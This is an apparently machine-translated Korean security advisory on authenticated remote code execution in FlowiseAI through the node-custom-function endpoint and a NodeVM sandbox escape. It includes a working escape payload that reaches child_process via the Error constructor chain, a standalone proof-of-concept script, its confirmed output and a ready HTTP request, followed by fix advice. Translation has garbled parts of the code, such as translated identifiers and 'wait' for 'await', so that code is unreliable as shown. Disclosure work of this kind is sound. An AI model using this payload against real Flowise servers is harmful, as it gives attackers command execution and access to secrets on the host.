FlowiseAI: POST /api/v1/node-custom-function 및 NodeVM Sandbox Escape를 통해 인증된 호스트 RCE
POST /api/v1/node-custom-function에는 경로 수준 인증이 없기 때문에 인증된 사용자 또는 API 키가 임의의 JavaScript를 Custom JS Function 노드에 제출할 수 있습니다.
E2B_APIKEY가 구성되지 않은 경우(일반적인 배포 사례) Flowise는 NodeVM 샌드박스 내에서 이 코드를 실행합니다. 이 샌드박스를 탈출하면 공격자가 호스트 process 개체에 도달하고 child_process를 통해 시스템 명령을 실행할 수 있습니다.
결과는 Flowise 서버 호스트에서 인증된 원격 코드 실행입니다. CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9 심각.
두 가지 서로 다른 보안 경계가 위반되었습니다.
1. 경로 수준 승인 누락
packages/server/src/routes/node-custom-functions/index.ts는 권한 없는 미들웨어로 엔드포인트를 등록합니다.
``ts router.post('/', nodeRouter.executeCustomFunction)
동일한 코드베이스의 다른 중요한 경로는 명시적인 권한 게이트를 사용합니다.
``ts
// 패키지/서버/src/routes/chatflows/index.ts
라우터.포스트(
'/',
checkAnyPermission('chatflows:create,chatflows:update,agentflows:create,agentflows:update'),
chatflowsController.saveChatflow
)
전역 /api/v1 인증은 계속 적용되므로 인증되지 않은 것은 아니지만 유효한 세션 또는 API 키는 추가 제한 없이 엔드포인트에 도달합니다.
2. NodeVM 샌드박스 이스케이프
엔드포인트는 다음 체인을 통해 body.javascriptFunction을 전달합니다.
POST /api/v1/node-custom-function
→ 패키지/서버/src/controllers/nodes/index.ts
→ 패키지/서버/src/utils/executeCustomNodeFunction.ts
→ 패키지/구성 요소/노드/유틸리티/CustomFunction/CustomFunction.ts
ExecuteJavaScriptCode(javascriptFunction, 샌드박스)
→ 패키지/구성 요소/src/utils.ts
if !process.env.E2B_APIKEY → NodeVM 대체
→ [SINK] 호스트 프로세스 / child_process
packages/comComponents/src/utils.ts는 E2B_APIKEY가 설정된 경우에만 외부 E2B 샌드박스를 사용합니다. 그렇지 않으면 @flowiseai/nodevm으로 자동으로 돌아갑니다.
``ts const shouldUseSandbox = useSandbox && process.env.E2B_APIKEY
Flowise는 이를 샌드박스 실행 경로로 명시적으로 구성합니다. 도우미의 이름은 'createCodeExecutionSandbox'이고, 인라인 주석은 'Sandbox 또는 NodeVM을 사용하여 JavaScript 코드 실행'이라고 읽으며, NodeVM 인스턴스는 'eval: false', 'wasm: false' 및 모의 HTTP 클라이언트로 구성됩니다. 샌드박스는 부수적인 격리가 아닌 실제로 선언된 보안 경계입니다.
이러한 통제는 탈출을 막지 못합니다. 페이로드는 'Error' 객체가 NodeVM 경계를 벗어나는 예외 경로를 남용합니다. 오류는 호스트 런타임에서 발생하므로 해당 생성자 체인은 외부 Node.js 영역으로 확인됩니다. 이를 통해 호스트 `Function` 생성자(`e.constructor.constructor`)를 복구할 수 있으며, 이는 `process` 및 `child_process`와 같은 내장 모듈에 액세스할 수 있습니다.
``js
const FunctionCtor = e.constructor.constructor;
const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
return cp.execSync('id').toString().trim();
NodeVM 대체가 실제 기본값입니다. packages/server/.env.example 및 CONTRIBUTING.md는 사용자 정의 JS 실행을 위해 E2B_APIKEY를 필요로 하지 않으므로 대부분의 배포가 영향을 받습니다.
독립형 검증(E2B_APIKEY가 설정되지 않은 저장소 루트에서 실행):
``js // poc_Flowise_NodeCustomFunction_RCE_2026.js const 경로 = require('경로');
process.env.E2B_APIKEY 삭제; process.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' });
require(path.resolve('targets/Flowise/node_modules/ts-node/register/transpile-only'));
const { nodeClass: CustomFunction } = require(path.resolve( '대상/Flowise/패키지/구성 요소/노드/유틸리티/CustomFunction/CustomFunction.ts' )));
const 공격 코드 = 비동기 함수 f() { const 오류 = 새로운 오류(); error.name = Object.create(null); 오류.스택을 반환합니다. } return f().catch(e => {를 기다립니다. const FunctionCtor = e.constructor.constructor; const cp = FunctionCtor('return process.getBuiltinModule("child_process")')(); return cp.execSync('id').toString().trim(); });;
(비동기 () => { const 노드 = 새로운 CustomFunction(); const 결과 = node.init(를 기다립니다. { 입력: { javascriptFunction: AttackCode } }, '', { appDataSource: {}, DatabaseEntities: {}, WorkspaceId: 정의되지 않음, orgId: 정의되지 않음 } ); console.log('[RCE 출력]', 결과); })();
확인된 출력:
[RCE 출력] uid=501(연구원) gid=20(직원) 그룹=20(직원),...
**HTTP 트리거**(유효한 API 키 또는 세션 필요):
``http
POST /api/v1/node-custom-function HTTP/1.1
호스트: 대상:3000
권한 부여: Bearer <valid-api-key>
콘텐츠 유형: 애플리케이션/json
{
"javascriptFunction": "비동기 함수 f(){const error=new Error();error.name=Object.create(null);return error.stack;} return wait f().catch(e=>{const F=e.constructor.constructor;const cp=F('return process.getBuiltinModule(\"child_process\")')();return cp.execSync('id').toString().trim();});"
}
인증된 Flowise 사용자 또는 표준 API 키 보유자는 Flowise 서버 프로세스로 임의의 명령을 실행할 수 있습니다. 여기에는 환경 변수 및 비밀 읽기, 임의 파일 시스템 액세스, 호스트의 아웃바운드 네트워크 요청, 지속성 또는 측면 이동을 위한 발판이 포함됩니다.
NodeVM 대체는 대부분의 자체 호스팅 인스턴스에 적용되는 'E2B_APIKEY'가 구성되지 않은 모든 배포의 기본값입니다.
권장 해결 방법:
checkPermission 미들웨어 패턴을 사용하여 POST /api/v1/node-custom-function에 명시적 권한 제어를 추가합니다.E2B_APIKEY가 없는 경우 실패 처리됩니다. 신뢰할 수 없는 코드 실행을 위해 자동으로 NodeVM으로 다운그레이드하지 마세요.왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(심각도 등급 추정치) | 95.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 95.00 |
VPI 공식 vpi-v1 기준